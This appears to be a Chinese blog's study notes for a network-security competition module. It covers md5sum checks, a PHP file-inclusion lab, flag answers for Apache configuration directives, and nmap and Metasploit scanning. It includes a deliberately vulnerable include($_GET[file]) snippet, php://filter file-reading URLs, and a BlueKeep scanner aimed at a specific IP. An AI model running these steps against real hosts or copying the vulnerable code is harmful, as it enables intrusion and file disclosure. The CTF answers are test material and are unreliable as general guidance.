banner
NEWS LETTER

选拔赛网络系统 - 模块D

Scroll down

信息安全

一、任务清单

  • MD5 文件安全校验
  • Web 应用程序文件包含安全攻防
  • Apache 配置评估
  • nmap 扫描渗透测试

二、DEMO

MD5是一种广泛使用的哈希算法,它将任意长度的数据转换为128位的固定长度的哈希值,并且不可逆转。

1
2
3
4
5
6
7
8
9
10
11
md5sum test.txt

仅文件名改变时文件的md5值不会变

md5sum /etc/passwd
md5sum /etc/passwd > passwd.md5

undo useradd user06
sudo passwd user06
sudo md5sum /etc/passwd
sudo cat passwd.md5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
在页面中找出<input>标签,在其属性中找出name=“变量名”

<?php
include($_GET[file]);
?>
http://121.43.48.126/index.php?file=php://filter/read=convert.base64-encode/resource=./AppServ/Apache2.2/logs/flag.log

http://121.43.48.126/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

<?php
$base64EncodedContent = "Base64 编码内容";
$decodedContent = base64_decode($base64EncodedContent);
echo $decodedContent;
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
找到Apache的主配置文件httpd.conf,找出其中的Options指令
Options -Indexes
flag{-indexes}

找到Apache的主配置文件httpd.conf,找出其中的ErrorLog指令
/www/wwwlogs/error_log
flag{/www/wwwlogs/error_log}

找到Apache的主配置文件httpd.conf,找出其中的DirectoryIndex指令
flag{DirectoryIndex default.php index.php index.html}

找到Apache的主配置文件httpd.conf,找出其中的ErrorDocument指令
flag{ErrorDocument 404 /custom404.html}

找到Apache的主配置文件httpd.conf,找出其中的ServerTokens指令
flag{ServerTokens Prod}

找到Apache的主配置文件httpd.conf,找出其中的<Directory>指令块
flag{<Directory />Require ip 192.168.204.0/24</Directory>}

找到Apache的主配置文件httpd.conf,找出或输入其中的LimitRequestBody指令
flag{LimitRequestBody 51200}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
nmap -sV -oX output.xml 121.43.48.126
# -sV:执行版本扫描,识别目标服务器的服务和版本信息
# -oX output.xml:设置输出格式为XML,并指定输出文件名为output.xml

msfdb init

msfconsole
db_import output.xml
hosts
services

msfconsole
search CVE-2019-0708

msfconsole
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set RHOSTS 121.43.48.126
run
其他文章